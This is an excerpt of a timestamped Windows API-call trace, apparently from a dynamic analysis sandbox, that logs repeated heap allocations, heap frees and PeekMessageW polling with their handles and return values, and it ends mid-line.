[0131.937] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.937] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.938] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.938] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.938] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0131.938] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0131.938] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0131.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.938] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.938] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0131.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13c0 | out: hHeap=0xe80000) returned 1 [0131.938] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0131.939] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.939] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf148 [0131.939] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.939] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0131.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0131.940] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.940] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0131.940] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0131.940] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.940] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0131.940] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.940] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.940] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0131.941] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0131.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0131.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.941] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0131.941] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0131.942] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.942] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.942] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0a8 [0131.942] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0131.942] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0131.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0131.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0131.943] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0131.943] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.944] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0131.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0131.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.944] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0131.944] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0131.944] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.945] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.945] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.945] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0131.945] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0131.945] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.945] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.945] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0131.945] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.946] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b80 | out: hHeap=0xe80000) returned 1 [0131.946] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.946] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.946] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.946] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0131.946] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.946] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.946] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.946] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0131.946] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0131.947] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.947] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.947] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.947] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0131.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0131.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.947] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0131.948] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.948] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0131.948] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0131.948] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.948] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.948] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.948] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.948] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.948] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.948] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0131.949] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0131.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0131.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0131.949] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0131.955] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0131.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0131.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0131.955] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.955] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0131.955] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.955] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13e8 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1618 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf238 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0131.956] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.956] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0131.956] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.956] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0131.956] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0131.957] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.957] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0131.957] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.957] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0a8 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0131.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0131.957] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.957] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0131.958] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.958] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0131.958] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13e8 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0a8 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0131.958] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0131.958] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf238 [0131.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec31a8 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1c8 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14b0 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.959] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.960] PeekMessageW (in: 